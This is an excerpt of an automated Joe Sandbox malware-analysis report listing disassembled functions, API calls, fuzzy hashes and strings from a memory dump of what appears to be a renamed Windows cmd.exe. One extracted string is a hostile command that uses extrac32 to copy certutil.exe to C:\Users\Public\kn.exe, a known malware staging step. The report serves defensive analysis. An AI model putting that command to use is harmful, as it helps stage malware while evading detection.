                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$EnvironmentVariable
                                                    • String ID: DIRCMD
                                                    • API String ID: 1405722092-1465291664
                                                    • Opcode ID: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                    • Instruction ID: 6344d52790cd4d7d8c08f79bbac73fe1fee0b44f942a64640cd5d3f067dcbceb
                                                    • Opcode Fuzzy Hash: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                    • Instruction Fuzzy Hash: 01816272A18BC189EB60CF74E8802ED77A4FB49748F004139DB4D9BB69DF38D5558740
                                                    Function 00007FF6BF3D99F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • wcschr.MSVCRT(?,?,?,00007FF6BF3D99DD), ref: 00007FF6BF3D9A39
                                                      • Part of subcall function 00007FF6BF3DDF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF6BF3DCEAA), ref: 00007FF6BF3DDFB8
                                                      • Part of subcall function 00007FF6BF3DDF60: RtlFreeHeap.NTDLL ref: 00007FF6BF3DDFCC
                                                      • Part of subcall function 00007FF6BF3DDF60: _setjmp.MSVCRT ref: 00007FF6BF3DE03E
                                                    • wcschr.MSVCRT(?,?,?,00007FF6BF3D99DD), ref: 00007FF6BF3D9AF0
                                                    • wcschr.MSVCRT(?,?,?,00007FF6BF3D99DD), ref: 00007FF6BF3D9B0F
                                                      • Part of subcall function 00007FF6BF3D96E8: memset.MSVCRT ref: 00007FF6BF3D97B2
                                                      • Part of subcall function 00007FF6BF3D96E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3D9880
                                                    • _wcsupr.MSVCRT ref: 00007FF6BF3EB844
                                                    • wcscmp.MSVCRT ref: 00007FF6BF3EB86D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$wcschr$Process$AllocFree_setjmp_wcsuprmemsetwcscmp
                                                    • String ID: FOR$ IF
                                                    • API String ID: 3663254013-2924197646
                                                    • Opcode ID: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
                                                    • Instruction ID: 1d90816f692cc7bc69faa700a5d39f935255a2c92aca90d7bbd12c5f3392fb9e
                                                    • Opcode Fuzzy Hash: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
                                                    • Instruction Fuzzy Hash: DD518D25F1A64281FE19AFAD945027927A1EF49B90F484234DB1ECB7F1DF3CA8018390
                                                    Function 00007FF6BF3DF173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF0D6
                                                    • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF1BA
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF1E7
                                                    • iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF1FF
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF2BB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigit$iswspacewcschr
                                                    • String ID: )$=,;
                                                    • API String ID: 1959970872-2167043656
                                                    • Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
                                                    • Instruction ID: 5bd9d79435e4040f78025b2283889a48207018fac59485ce8c22f0d3a5dd1070
                                                    • Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
                                                    • Instruction Fuzzy Hash: 0841AC6AE5825386FB648BADA5843797BA0BF10755F445032CF8DCA2B0DF3DA4918B81
                                                    Function 00007FF6BF3FBA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$InformationVolumeiswalphatowupper
                                                    • String ID: %04X-%04X$:
                                                    • API String ID: 930873262-1938371929
                                                    • Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                    • Instruction ID: c6a29545bca7eb8a64502d1b079d0aace560c0cecacd31a92d7cebbda2ef7f03
                                                    • Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                    • Instruction Fuzzy Hash: 77418071A08A4392EB609BA8E4402BA7760FF94744F804136DB4EC76E6DF7CE945C750
                                                    Function 00007FF6BF3E36EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
                                                    • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                    • API String ID: 3249344982-2616576482
                                                    • Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                    • Instruction ID: b5967c6054807e536f80d2f48012ee2f9b68f3517bf08c8f127c64c88296d046
                                                    • Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                    • Instruction Fuzzy Hash: 14417F72628B4186E3108F55A84437ABFE4FB99BC4F044234DB4D8BBA5CF7CD5648B40
                                                    Function 00007FF6BF3E6A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E68A3,?,?,?,?,?,?,?,00000000,?,00007FF6BF3E63F3), ref: 00007FF6BF3E6A73
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E68A3,?,?,?,?,?,?,?,00000000,?,00007FF6BF3E63F3), ref: 00007FF6BF3E6A91
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E68A3,?,?,?,?,?,?,?,00000000,?,00007FF6BF3E63F3), ref: 00007FF6BF3E6AB0
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E68A3,?,?,?,?,?,?,?,00000000,?,00007FF6BF3E63F3), ref: 00007FF6BF3E6AE3
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E68A3,?,?,?,?,?,?,?,00000000,?,00007FF6BF3E63F3), ref: 00007FF6BF3E6B01
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$iswdigit
                                                    • String ID: +-~!$<>+-*/%()|^&=,
                                                    • API String ID: 2770779731-632268628
                                                    • Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                    • Instruction ID: 4e34f6fedb07880f85b1ea6333c7ab0b89d7075a4d9b8ad7fa18ec2f43018877
                                                    • Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                    • Instruction Fuzzy Hash: 08312832A28A5685EA509F9AE4502787BA0FF99F85B458035DB4E873B4EF3CE844C350
                                                    Function 00007FF6BF3FD878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File_get_osfhandle$Pointer$BuffersFlushRead
                                                    • String ID:
                                                    • API String ID: 3192234081-0
                                                    • Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                    • Instruction ID: b58b718f4100dd15bf182639e2515d371ca941716834135dc82b42037f0fa1fd
                                                    • Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                    • Instruction Fuzzy Hash: A931A236A08681CBE7109FB9E40467EBBA0FB89B90F449534DF5A8B7A5CF3CD4158B40
                                                    Function 00007FF6BF3E1630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E1673
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E168D
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E1757
                                                    • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E176E
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E1788
                                                    • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6BF3E14D6,?,?,?,00007FF6BF3DAA22,?,?,?,00007FF6BF3D847E), ref: 00007FF6BF3E179C
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Process$Alloc$Size
                                                    • String ID:
                                                    • API String ID: 3586862581-0
                                                    • Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                    • Instruction ID: 5b882db89993fc98ed87c772b89f9077dc473adfbe4b8bfae4a97b1ffc967a10
                                                    • Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                    • Instruction Fuzzy Hash: 0A917D72A29A5281EA209B9DE4403B97BA0FF44B90F598135CF4D8B3B1EF3CE851C350
                                                    Function 00007FF6BF3E86F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
                                                    • String ID:
                                                    • API String ID: 1313749407-0
                                                    • Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                    • Instruction ID: f14494c12dd3ca3205c601ca9ada75b78f5515aae0ace76495c9dfcbed444d0c
                                                    • Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                    • Instruction Fuzzy Hash: 6051D631E1968242FA509BA998042796791FF49B90F085234CF6E9B7F5DF3CEC41C390
                                                    Function 00007FF6BF3FEC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
                                                    • String ID:
                                                    • API String ID: 920682188-0
                                                    • Opcode ID: 9d1635e35e3ac97de0e6528cece6faaa031c08ed2930d9ed60b369340f3def9a
                                                    • Instruction ID: 707b1f574ced24824cc565a58fc8f662474d5cbe95a1209de272f06b31766964
                                                    • Opcode Fuzzy Hash: 9d1635e35e3ac97de0e6528cece6faaa031c08ed2930d9ed60b369340f3def9a
                                                    • Instruction Fuzzy Hash: 09516736705B818AEB25CF68E8546E877A0FB88B84F048035DB4E8B765EF3CD655C740
                                                    Function 00007FF6BF3DDF60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    • extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe , xrefs: 00007FF6BF3DE00B
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$FreeProcess_setjmp
                                                    • String ID: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                    • API String ID: 777023205-3344945345
                                                    • Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                    • Instruction ID: d4ac73e0da3a9c06de3e361b7547e8befd43da16ad98d1945463d21e6826ad97
                                                    • Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                    • Instruction Fuzzy Hash: 27516A34D5DA5285F7108F9DA8401B8BBA4BF48790F545535DB0DCA3B2DF3CA5A0C741
                                                    Function 00007FF6BF3DF5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF1BA
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF1E7
                                                    • iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF1FF
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF2BB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigit$iswspacewcschr
                                                    • String ID: )$=,;
                                                    • API String ID: 1959970872-2167043656
                                                    • Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
                                                    • Instruction ID: 20fa6d81c9adb628ef8bd74a97209245c3ae35ed5bb3f920466b0128122ab443
                                                    • Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
                                                    • Instruction Fuzzy Hash: D4419E6DE5821786FB644BADE5843793BA0BF10745F446036CB8DCA1B1CF3DE4958B81
                                                    Function 00007FF6BF3F91B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmpfprintfwcsrchr
                                                    • String ID: CMD Internal Error %s$%s$Null environment
                                                    • API String ID: 3625580822-2781220306
                                                    • Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
                                                    • Instruction ID: 1fd06f911bb717fa3ae2c8f3ec1af16ffdb05827858ca3072f72044d21ae9f0c
                                                    • Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
                                                    • Instruction Fuzzy Hash: D431F221A0964AA2FA509F9AE9201B977A0FF45B94F044134CF1EDB7B2EF3CE455C380
                                                    Function 00007FF6BF3E1FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
